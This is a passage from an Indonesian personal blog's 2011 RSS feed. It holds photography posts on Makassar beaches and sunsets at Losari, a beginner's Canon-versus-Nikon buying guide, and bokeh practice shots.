<div id="attachment_1954" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/10/CONVAR268-5.jpg"><img class="size-full wp-image-1954" title="_CONVAR268-5" src="http://daenggassing.com/wp-content/uploads/2011/10/CONVAR268-5.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Fair Play</p></div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/10/foto-perjuangan-di-lapangan-hijau/" title="fotografer lapangan hijau">fotografer lapangan hijau</a> (2)</li><li><a href="http://daenggassing.com/2011/10/foto-perjuangan-di-lapangan-hijau/" title="hakim garis">hakim garis</a> (2)</li><li><a href="http://daenggassing.com/2011/10/foto-perjuangan-di-lapangan-hijau/" title="cara foto motret olahraga sepak bola">cara foto motret olahraga sepak bola</a> (1)</li><li><a href="http://daenggassing.com/2011/10/foto-perjuangan-di-lapangan-hijau/" title="motret sepakbola">motret sepakbola</a> (1)</li><li><a href="http://daenggassing.com/2011/10/foto-perjuangan-di-lapangan-hijau/" title="menjadi fotografer di pertandingan sepakbola">menjadi fotografer di pertandingan sepakbola</a> (1)</li></ul><div class="shr-publisher-1947"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F10%2Ffoto-perjuangan-di-lapangan-hijau%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/10/foto-perjuangan-di-lapangan-hijau/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Pasir, Laut dan Langit</title>
		<link>http://daenggassing.com/2011/09/pasir-laut-dan-langit/</link>
		<comments>http://daenggassing.com/2011/09/pasir-laut-dan-langit/#comments</comments>
		<pubDate>Wed, 07 Sep 2011 09:27:25 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Fotografi]]></category>
		<category><![CDATA[Jalan-Jalan]]></category>
		<category><![CDATA[Keliling Makassar]]></category>
		<category><![CDATA[Wisata]]></category>
		<category><![CDATA[Kodingareng]]></category>
		<category><![CDATA[Laut]]></category>
		<category><![CDATA[Losari]]></category>
		<category><![CDATA[makassar]]></category>
		<category><![CDATA[Pantai]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=1838</guid>
		<description><![CDATA[Makassar dan pantai adalah sebuah perpaduan yang pas. Kota yang memang terletak di tepi selat Sulawesi ini menawarkan banyak pasir, laut dan langit yang biru. Berikut adalah beberapa rekaman pasir, laut dan langit yang saya ambil di sekitar kota Makassar. Spesifikasi umum : Lokasi : Pantai Losari, Makassar dan Pulau Kodingareng Keke Camera ; Canon [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p>Makassar dan pantai adalah sebuah perpaduan yang pas. Kota yang memang terletak di tepi selat Sulawesi ini menawarkan banyak pasir, laut dan langit yang biru. Berikut adalah beberapa rekaman pasir, laut dan langit yang saya ambil di sekitar kota Makassar.</p>
<p>Spesifikasi umum :</p>
<p>Lokasi : <a href="http://daenggassing.com/menanti-sunset-di-losari/">Pantai Losari</a>, Makassar dan Pulau <a href="http://daenggassing.com/family-gathering-di-pulau-kodingareng-keke/">Kodingareng Keke</a></p>
<p>Camera ; Canon 350D</p>
<p>Lensa : kit 18-55 dan fix 50mm with filter CPL</p>
<p>Software pengolah : Adobe Photoshop ( resize atau cropping ) dan Adobe Lightning ( atur saturasi )</p>
<p>&nbsp;</p>
<div id="attachment_1839" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/Kapal-di-luar-Losari.jpg"><img class="size-full wp-image-1839" title="_Kapal di luar Losari" src="http://daenggassing.com/wp-content/uploads/2011/09/Kapal-di-luar-Losari.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Kapal di luar Losari</p></div>
<p>&nbsp;</p>
<div id="attachment_1840" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/Refleksi-Kapal.jpg"><img class="size-full wp-image-1840" title="_Refleksi Kapal" src="http://daenggassing.com/wp-content/uploads/2011/09/Refleksi-Kapal.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Refleksi Kapal</p></div>
<p>&nbsp;</p>
<div id="attachment_1841" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/Pinus-di-Kodingareng.jpg"><img class="size-full wp-image-1841" title="_Pinus di Kodingareng" src="http://daenggassing.com/wp-content/uploads/2011/09/Pinus-di-Kodingareng.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Pinus di Kodingareng</p></div>
<p>&nbsp;</p>
<div id="attachment_1842" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/Pasir-Laut-dan-Langit.jpg"><img class="size-full wp-image-1842" title="_Pasir Laut dan Langit" src="http://daenggassing.com/wp-content/uploads/2011/09/Pasir-Laut-dan-Langit.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Pasir Laut dan Pantai</p></div>
<p>&nbsp;</p>
<div id="attachment_1843" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/Pinus-di-Kodingareng1.jpg"><img class="size-full wp-image-1843" title="_Pinus di Kodingareng" src="http://daenggassing.com/wp-content/uploads/2011/09/Pinus-di-Kodingareng1.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Pinus di Kodingareng</p></div>
<p>&nbsp;</p>
<div id="attachment_1844" class="wp-caption aligncenter" style="width: 410px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/Sendiri-di-Lautan.jpg"><img class="size-full wp-image-1844" title="_Sendiri di Lautan" src="http://daenggassing.com/wp-content/uploads/2011/09/Sendiri-di-Lautan.jpg" alt="" width="400" height="600" /></a><p class="wp-caption-text">Sendiri di lautan luas</p></div>
<p>&nbsp;</p>
<div id="attachment_1845" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/Menuju-daratan.jpg"><img class="size-full wp-image-1845" title="_Menuju daratan" src="http://daenggassing.com/wp-content/uploads/2011/09/Menuju-daratan.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Menuju Daratan</p></div>
<p>&nbsp;</p>
<p>Mohon masukan dari teman-teman sekalian, maklum saya masih belajar dan masih sok tahu.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/09/pasir-laut-dan-langit/" title="lautan &amp; daratan">lautan &amp; daratan</a> (3)</li><li><a href="http://daenggassing.com/2011/09/pasir-laut-dan-langit/" title="pasir laut">pasir laut</a> (3)</li><li><a href="http://daenggassing.com/2011/09/pasir-laut-dan-langit/" title="refleksi">refleksi</a> (2)</li><li><a href="http://daenggassing.com/2011/09/pasir-laut-dan-langit/" title="lautan luas">lautan luas</a> (1)</li><li><a href="http://daenggassing.com/2011/09/pasir-laut-dan-langit/" title="tujuannya family gathering">tujuannya family gathering</a> (1)</li></ul><div class="shr-publisher-1838"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F09%2Fpasir-laut-dan-langit%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/09/pasir-laut-dan-langit/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Menanti Sunset di Losari</title>
		<link>http://daenggassing.com/2011/08/menanti-sunset-di-losari/</link>
		<comments>http://daenggassing.com/2011/08/menanti-sunset-di-losari/#comments</comments>
		<pubDate>Tue, 09 Aug 2011 03:51:05 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Fotografi]]></category>
		<category><![CDATA[Jalan-Jalan]]></category>
		<category><![CDATA[Keliling Makassar]]></category>
		<category><![CDATA[Wisata]]></category>
		<category><![CDATA[Foto Losari]]></category>
		<category><![CDATA[Losari]]></category>
		<category><![CDATA[Pantai Losari]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=1775</guid>
		<description><![CDATA[Pantai losari adalah ikon kota Makassar. Berkunjung ke Makassar tanpa mengunjungi salah satu pusat keramaian di kota Makassar ini rasanya kurang lengkap. Pantai yang memanjang di sebelah barat kota Makassar ini punya banyak cerita. Dulu sekitar tahun 80-90an, Losari terkenal dengan ratusan gerobak pedagang yang berjejer di pantai sepanjang kurang lebih 1 KM itu. Belakangan [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><h3>Pantai losari adalah ikon kota Makassar. Berkunjung ke Makassar tanpa mengunjungi salah satu pusat keramaian di kota Makassar ini rasanya kurang lengkap.</h3>
<p>Pantai yang memanjang di sebelah barat kota Makassar ini punya banyak cerita. Dulu sekitar tahun 80-90an, <a href="http://daenggassing.com/menanti-sunset-di-losari/">Losari </a>terkenal dengan ratusan gerobak pedagang yang berjejer di pantai sepanjang kurang lebih 1 KM itu.</p>
<p>Belakangan Losari dirombak. Tidak ada lagi jejeran pedagang tersebut. Pada awalnya para pedagang direlokasi ke jalan Metro Tanjung Bunga, masih dalam kawasan pantai Losari sekitar tahun 2001. Relokasi ini hanya bertahan beberapa lama karena berikutnya para pedagang dipindahkan lagi ke kawasan pantai laguna, juga masih dalam kawasan pantai Losari.</p>
<p>Lokasi yang baru rupanya tidak bersahabat dengan para pedagang, menyusul dimulainya perombakan wajah pantai Losari yang sempat menuai pro dan kontra, sinar para pedagang mulai meredup. Pantai laguna yang tersembunyi dan tidak menghadap ke lautan lepas membuat orang makin enggan berkunjung ke sana hingga pelan-pelan para pedagang memencarkan diri mencari kehidupan lain yang lebih bagus.</p>
<p><a href="http://daenggassing.com/menanti-sunset-di-losari/">Losari</a> yang rencananya akan dibagun dengan 3 buah pelataran ( Bugis, Makassar dan Toraja ) terus berbenah di bawah tudingan beberapa pihak yang merasa kalau pembangunan pelataran itu sebenarnya mengingkari hakekat sebuah pantai. Yah, di sana anda tidak akan menemukan sebuah garis pantai yang lengkap dengan ombak dan pasirnya. Anda hanya akan menemukan beton, karang dan aspal.</p>
<p>Meski begitu publik juga tidak bisa menutup mata kalau anjungan losari yang sudah beroperasi (satu di antara 3 yang direncanakan ) setidaknya telah menjadi tempat berkumpul warga kota Makassar sekaligus menjadi pusat untuk berbagai keramaian.</p>
<p>Salah satu yang keunikan dari Losari adalah sunsetnya. Meski tak berpasir, tapi menanti sunset di Losari bisa mendatangkan sensasi tersendiri utamanya bila cuaca dan awan mendukung.</p>
<p>Berikut adalah rekaman sunset di <a href="http://daenggassing.com/menanti-sunset-di-losari/">Losari</a> yang saya rekam ketika berkesempatan menghabiskan waktu menunggu buka puasa di hari Sabtu (6/8) kemarin.</p>
<p>&nbsp;</p>
<div id="attachment_1776" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/08/IMG_1199.jpg"><img class="size-full wp-image-1776" title="_IMG_1199" src="http://daenggassing.com/wp-content/uploads/2011/08/IMG_1199.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Menantikan Sunset</p></div>
<p>&nbsp;</p>
<div id="attachment_1777" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/08/IMG_1225.jpg"><img class="size-full wp-image-1777" title="_IMG_1225" src="http://daenggassing.com/wp-content/uploads/2011/08/IMG_1225.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Siap mengawal sunset</p></div>
<p>&nbsp;</p>
<div id="attachment_1778" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/08/IMG_1232.jpg"><img class="size-full wp-image-1778" title="_IMG_1232" src="http://daenggassing.com/wp-content/uploads/2011/08/IMG_1232.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Merenungi sunset</p></div>
<p>&nbsp;</p>
<div id="attachment_1779" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/08/IMG_1237.jpg"><img class="size-full wp-image-1779" title="_IMG_1237" src="http://daenggassing.com/wp-content/uploads/2011/08/IMG_1237.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Good bye sunset !!</p></div>
<p>&nbsp;</p>
<div id="attachment_1780" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/08/IMG_1239.jpg"><img class="size-full wp-image-1780" title="_IMG_1239" src="http://daenggassing.com/wp-content/uploads/2011/08/IMG_1239.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Ah..dia telah pergi</p></div>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/08/menanti-sunset-di-losari/" title="apa yang cocok di tulis di brosur tentang pantai losari">apa yang cocok di tulis di brosur tentang pantai losari</a> (1)</li><li><a href="http://daenggassing.com/2011/08/menanti-sunset-di-losari/" title="metro tanjung bunga makassar">metro tanjung bunga makassar</a> (1)</li><li><a href="http://daenggassing.com/2011/08/menanti-sunset-di-losari/" title="pengalaman waktu tahun baru aku di pantai losari">pengalaman waktu tahun baru aku di pantai losari</a> (1)</li><li><a href="http://daenggassing.com/2011/08/menanti-sunset-di-losari/" title="shalat di antara sunset">shalat di antara sunset</a> (1)</li></ul><div class="shr-publisher-1775"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F08%2Fmenanti-sunset-di-losari%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/08/menanti-sunset-di-losari/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Pilih Canon atau Nikon ?</title>
		<link>http://daenggassing.com/2011/08/pilih-canon-atau-nikon/</link>
		<comments>http://daenggassing.com/2011/08/pilih-canon-atau-nikon/#comments</comments>
		<pubDate>Wed, 03 Aug 2011 02:41:37 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Fotografi]]></category>
		<category><![CDATA[Random Post]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[Canon]]></category>
		<category><![CDATA[fotografi]]></category>
		<category><![CDATA[Nikon]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=1760</guid>
		<description><![CDATA[Sebelumnya saya mau minta maaf dulu kepada suhu-suhu fotografi karena lancang membuat artikel seperti ini. Tanpa bermaksud sombong, karena sebenarnya saya juga masih baru belajar untuk memotret, artikel ini semata-mata saya buat berdasarkan pengalaman saya, sekaligus berbagi kepada teman-teman yang mungkin memerlukan. Dua hari ini seorang teman, sebut saja Gerhana Pink ( nama sengaja disamarkan [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_1761" class="wp-caption aligncenter" style="width: 650px"><a href="http://daenggassing.com/wp-content/uploads/2011/08/Canon-vs-Nikon.jpg"><img class="size-full wp-image-1761" title="Canon vs Nikon" src="http://daenggassing.com/wp-content/uploads/2011/08/Canon-vs-Nikon.jpg" alt="" width="640" height="400" /></a><p class="wp-caption-text">Hayo, pilih Canon atau Nikon ?</p></div>
<blockquote>
<h3>Sebelumnya saya mau minta maaf dulu kepada suhu-suhu fotografi karena lancang membuat artikel seperti ini. Tanpa bermaksud sombong, karena sebenarnya saya juga masih baru belajar untuk memotret, artikel ini semata-mata saya buat berdasarkan pengalaman saya, sekaligus berbagi kepada teman-teman yang mungkin memerlukan.</h3>
</blockquote>
<p>Dua hari ini seorang teman, sebut saja <strong><a href="http://gerhanapink.com/">Gerhana Pink</a></strong> ( nama sengaja disamarkan demi keamanan si pelaku ) sedang kebingungan untuk menentukan pilihan antara kamera Canon atau Nikon. Entah mendapat kucuran dana dari mana, tapi anak muda itu tiba-tiba berkeinginan kuat untuk membeli kamera DSLR, padahal selama ini setahu saya dia anak muda yang hidup dalam kemelaratan karena uangnya lebih banyak dihabiskan untuk membiayai sejumlah gadis yang jadi tanggungannya.</p>
<p>Pertanyaan yang diajukan si Gerhana adalah pertanyaan biasa yang diajukan oleh para penggemar fotografi pemula. <a href="http://daenggassing.com/pilih-canon-atau-nikon/">Canon dan Nikon</a> adalah dua produsen besar dalam dunia fotografi, istilahnya dua agama terbesar dengan pengikut terbanyak. Sebenarnya masih ada merek lain sebangsa Sony, Pentax, Panasonic, Hasselblad atau merek yang bisa bikin miskin dalam sekejap, Leica tapi entah kenapa Canon dan Nikon sudah terlanjur lekat di kepala penggemar fotografi sehingga pilihan pertama biasanya jatuh kepada dua merek dari Jepang itu.</p>
<p>Kebetulan saya pernah memegang keduanya, minimal menjepret seratus-dua ratus jepretan dan cukup lama menggenggam kedua merek tersebut. Dulu di awal-awal berkeinginan belajar fotografi saya juga sempat bertanya hal yang sama ke beberapa orang yang sudah lebih dulu kenal fotografi. Jawabannya beragam, ada yang secara frontal menyarankan Canon ada juga yang sebaliknya dan malah berkata : <strong>emangnya mau beli mesin fotokopi ? kalau kamera ya jelas Nikonlah.</strong></p>
<p>Ketika kemudian saya mencoba menggunakan keduanya dalam waktu yang berbeda dan agak lama, saya meyakini kalau jawaban salah seorang suhu fotografi idola saya adalah benar. Lelaki yang tidak perlu saya sebutkan namanya itu bilang : <strong>Canon atau Nikon sama saja, yang penting nyaman memakainya dan yang penting siapa yang memakainya.</strong></p>
<p>Nah, jawaban inilah yang kemudian saya ulang setiap kali ada yang bertanya, lebih bagus mana <a href="http://daenggassing.com/pilih-canon-atau-nikon/">Canon atau Nikon</a> ? Dan lewat tulisan ini juga saya mau coba berbagi kepada teman-teman yang mungkin bernasib sama dengan Gerhana, sama-sama bingung memilih Canon atau Nikon.</p>
<p>Berikut adalah pertimbangannya :</p>
<ul>
<li><strong>Pertimbangkan tentang dana</strong>. Kalau nama anda tidak berakhiran Bakrie atau bukan anak kandung OC Kaligis, maka soal dana pasti jadi perhatian utama. Harga Canon dan Nikon sebenarnya tidak berbeda jauh, apalagi kalau membandingkanya <em>pear to pear</em>. Beda kalau misalnya anda membandingkan Canon 450D dengan Nikon D300s misalnya. Beda jauhlah ! Sebagai perbandingan untuk para pemula, kelas yang sama antara Canon dan Nikon adalah : Canon dengan 1000D, 1100D, 500D dan 550D berbanding dengan Nikon D3000, D3100 dan D5000. Kisarannya antara 5 &#8211; 8 juta rupiah.</li>
<li></li>
<li><strong>Fitur</strong>. Canon dan Nikon biasanya punya fitur yang hampir sama, tapi beberapa fotografer profesional setuju kalau untuk kamera pemula fitur Canon lebih banyak daripada Nikon. Kelebihan lain dari Canon adalah jumlah Megapixelnya yang lebih tinggi, tapi di sisi lain Nikon menang di kualitas gambar dengan mengurangi tingkat noise ( titik-titik kecil pada gambar ) yang kadang muncul pada ISO tinggi di cahaya yang rendah. Jadi, silakan berpusing-pusing, mau memilih yang fiturnya banyak dengan MP yang tinggi atau yang fiturnya standar dengan kualitas gambar yang maknyos.</li>
<li></li>
<li><strong>Genggaman / grip</strong>. Ini juga penting dalam memilih kamera karena bagaimanapun kamera itu dipegang, bukan cuma dipelototin. Canon menurut saya punya grip yang sedikit di bawah Nikon, terus terang Nikon memang relatif lebih nyaman digenggam. Sementara soal bodi, kalau membandingkan Canon 1100D dengan Nikon D3100 sepertinya Canon 1100D relatif lebih gendut dan lebih berat daripada Nikon D3100 yang agak mungil. Silakan anda bersemedi menentukan pilihan, lebih suka yang bodinya kecil tapi enak digenggam atau yang bodinya agak gendut tapi kurang pas digenggaman ?</li>
<li></li>
<li><strong>Lensa</strong>. Sebenarnya ini agak <em>advance</em> sih, gonta-ganti lensa baru bisa dilakukan kalau kita sudah cukup familiar dengan kamera yang kita pegang. Tapi tidak apalah sebagai bahan pertimbangan. Lensa Canon relatif lebih murah dari Nikon, pun kamera Canon biasanya kompatibel dengan semua jenis lensa EOS, beda dengan Nikon yang biasanya agak rewel dengan urusan lensa dan harganya sedikit di atas lensa-lensa punya Canon.</li>
<li></li>
<li><strong>Lihat Sekeliling</strong>. Sebelum menentukan pilihan ada baiknya anda melihat sekeliling dulu, maksudnya bukan melihat sekeliling seperti yang dilakukan maling sebelum melakukan aksinya, tapi lihatlah teman-teman anda yang memegang kamera DSLR. Kalau kebanyakan teman anda memegang Canon misalnya, ya adalah lebih baik bagi anda untuk memilih Canon juga karena minimal anda punya tempat untuk bertanya nantinya kalau-kalau mendapat kesulitan mengoperasikan kamera yang baru anda beli. Keuntungan lainnya, kalau misalnya teman anda punya banyak lensa, lumayan kan bisa tukar-tukar lensa tanpa harus beli. Tapi kalau misalnya sekitar anda tidak ada yang megang DSLR, maka beruntunglah anda. Bisa jadi anda orang pertama di lingkungan anda yang punya DSLR.</li>
</ul>
<p>Nah, setidaknya itu beberapa tips yang bisa saya bagi menurut pengamatan dan pengalaman saya yang masih seumur jagung ini. Para ahli mungkin bisa menambahkan, utamanya kalau anda sudah membaca postingan ini dan masih tetap bingung menentukan pilihan seperti teman saya si Gerhana itu.</p>
<p>Oh ya, satu tambahan lagi. Kalau benar-benar bingung, cobalah untuk bersabar sedikit. Coba luangkan waktu untuk mencoba kamera <a href="http://daenggassing.com/pilih-canon-atau-nikon/">Canon dan Nikon</a>, caranya pinjamlah kamera punya teman anda. Luangkan waktu untuk menengok semua fitur dan kelebihan-kelebihan dari tiap-tiap kamera, setelah berbulan-bulan saya yakin anda akan bisa menentukan pilihan dengan catatan dana yang disiapkan belum keburu habis.</p>
<p>Intinya, apapun pilihan anda selama itu diambil menggunakan pikiran yang jernih dan tanpa paksaan dari pihak manapun maka Insya Allah semua akan membawa berkah. Fotografi bukan melulu soal senjata yang digunakan, tapi siapa yang memegangnya. Betul ??</p>
<p>Jadi, pilih mana ? Canon atau Nikon ?</p>
<p><em>Dan, kalau mau membaca review yang lebih lengkap dan serius yang ditulis oleh yang lebih berpengalaman, silakan kunjungi <a href="http://www.infofotografi.com/blog/2009/11/memilih-kamera-digital-canon-atau-nikon/">laman ini.</a></em></p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/08/pilih-canon-atau-nikon/" title="canon atau nikon">canon atau nikon</a> (71)</li><li><a href="http://daenggassing.com/2011/08/pilih-canon-atau-nikon/" title="nikon atau canon">nikon atau canon</a> (36)</li><li><a href="http://daenggassing.com/2011/08/pilih-canon-atau-nikon/" title="perbedaan nikon dan canon">perbedaan nikon dan canon</a> (27)</li><li><a href="http://daenggassing.com/2011/08/pilih-canon-atau-nikon/" title="pilih canon atau nikon">pilih canon atau nikon</a> (25)</li><li><a href="http://daenggassing.com/2011/08/pilih-canon-atau-nikon/" title="pilih nikon atau canon">pilih nikon atau canon</a> (21)</li></ul><div class="shr-publisher-1760"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F08%2Fpilih-canon-atau-nikon%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/08/pilih-canon-atau-nikon/feed/</wfw:commentRss>
		<slash:comments>41</slash:comments>
		</item>
		<item>
		<title>Belajar Bikin Bokeh</title>
		<link>http://daenggassing.com/2011/07/belajar-bikin-bokeh/</link>
		<comments>http://daenggassing.com/2011/07/belajar-bikin-bokeh/#comments</comments>
		<pubDate>Wed, 27 Jul 2011 09:38:19 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Fotografi]]></category>
		<category><![CDATA[Random Post]]></category>
		<category><![CDATA[belajar]]></category>
		<category><![CDATA[bokeh]]></category>
		<category><![CDATA[fotografi]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=1726</guid>
		<description><![CDATA[Hati-hati, jangan salah baca. Bokeh, bukan bokep. Dalam seni fotografi ada satu istilah yang cukup terkenal, namanya bokeh. Bokeh sendiri berasal dari bahasa Jepang yang berarti &#8220;menjadi kabur&#8221;, jadi foto bokeh adalah foto di mana fokus utamanya sangat tajam sementara background atau foregroundnya benar-benar kabur. Belakangan ini saya seperti jatuh cinta pada seni fotografi ini, [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><h3>Hati-hati, jangan salah baca. Bokeh, bukan bokep.</h3>
<p>Dalam seni fotografi ada satu istilah yang cukup terkenal, namanya <a href="http://daenggassing.com/belajar-bikin-bokeh/">bokeh</a>. Bokeh sendiri berasal dari bahasa Jepang yang berarti &#8220;menjadi kabur&#8221;, jadi foto bokeh adalah foto di mana fokus utamanya sangat tajam sementara background atau foregroundnya benar-benar kabur.</p>
<p>Belakangan ini saya seperti jatuh cinta pada seni fotografi ini, rasanya senang sekali melihat hasil foto yang memberi ruang tajam pada fokus utama dan mengaburkan background atau foregroundnya.</p>
<p>Beberapa hari ini saya mencoba membuat foto bokeh menggunakan lensa fix ( non zoom ) 50mm dengan bukaan maksimal 1.8. Karena namanya baru belajar, ya tentu saja ada banyak kekurangan. Kadang mencari dan menentukan fokus yang pas masih sangat susah, apalagi dalam kondisi penerangan yang minim.</p>
<p>Berikut ada beberapa hasil foto <a href="http://daenggassing.com/belajar-bikin-bokeh/">bokeh</a> yang saya buat. Dari puluhan foto, beberapa foto inilah yang paling saya suka. Sehabis ini saya akan terus mencoba belajar biar bisa menghasilkan lebih banyak foto bokeh. Oh ya, semua foto hanya melalui proses editing berupa resize dan sedikit pengubahan level.</p>
<p>Untuk tahu bagaimana caranya membuat foto <a href="http://daenggassing.com/belajar-bikin-bokeh/">bokeh</a> yang mantap, silakan baca <a href="http://belajarfotografi.com/tips-memotret-foto-bokeh-creamy/">di sini</a>.</p>
<p>&nbsp;</p>
<div id="attachment_1727" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/07/IMG_0977.jpg"><img class="size-full wp-image-1727" title="_IMG_0977" src="http://daenggassing.com/wp-content/uploads/2011/07/IMG_0977.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Semangka ku</p></div>
<p>&nbsp;</p>
<div id="attachment_1728" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/07/IMG_0722.jpg"><img class="size-full wp-image-1728" title="_IMG_0722" src="http://daenggassing.com/wp-content/uploads/2011/07/IMG_0722.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Kue Bolu Gulung</p></div>
<p>&nbsp;</p>
<div id="attachment_1729" class="wp-caption aligncenter" style="width: 410px"><a href="http://daenggassing.com/wp-content/uploads/2011/07/IMG_0860.jpg"><img class="size-full wp-image-1729" title="_IMG_0860" src="http://daenggassing.com/wp-content/uploads/2011/07/IMG_0860.jpg" alt="" width="400" height="600" /></a><p class="wp-caption-text">Jagung Rebus</p></div>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/07/belajar-bikin-bokeh/" title="belajar bokeh">belajar bokeh</a> (11)</li><li><a href="http://daenggassing.com/2011/07/belajar-bikin-bokeh/" title="belajar lens fix">belajar lens fix</a> (7)</li><li><a href="http://daenggassing.com/2011/07/belajar-bikin-bokeh/" title="bokeh">bokeh</a> (6)</li><li><a href="http://daenggassing.com/2011/07/belajar-bikin-bokeh/" title="membuat foto bokeh">membuat foto bokeh</a> (6)</li><li><a href="http://daenggassing.com/2011/07/belajar-bikin-bokeh/" title="BOLU GULUNG SEDERHANA">BOLU GULUNG SEDERHANA</a> (3)</li></ul><div class="shr-publisher-1726"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F07%2Fbelajar-bikin-bokeh%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/07/belajar-bikin-bokeh/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Susahnya Memotret Model</title>
		<link>http://daenggassing.com/2011/02/susahnya-memotret-model/</link>
		<comments>http://daenggassing.com/2011/02/susahnya-memotret-model/#comments</comments>
		<pubDate>Mon, 14 Feb 2011 04:07:09 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Fotografi]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=1115</guid>
		<description><![CDATA[Minggu siang (13/2) saya masih santai di rumah ketika Andhie, teman sekantor menelepon. &#8221; Pak, sudah saya daftar di lomba foto ya. Acaranya mulai jam 3 sore &#8221; Hee..?? Lomba foto ?? Iya saya tahu sehari sebelumnya kalau dalam acara pameran properti di Mall Ratu Indah akan ada lomba foto tapi saya belum berniat untuk [...]]]></description>
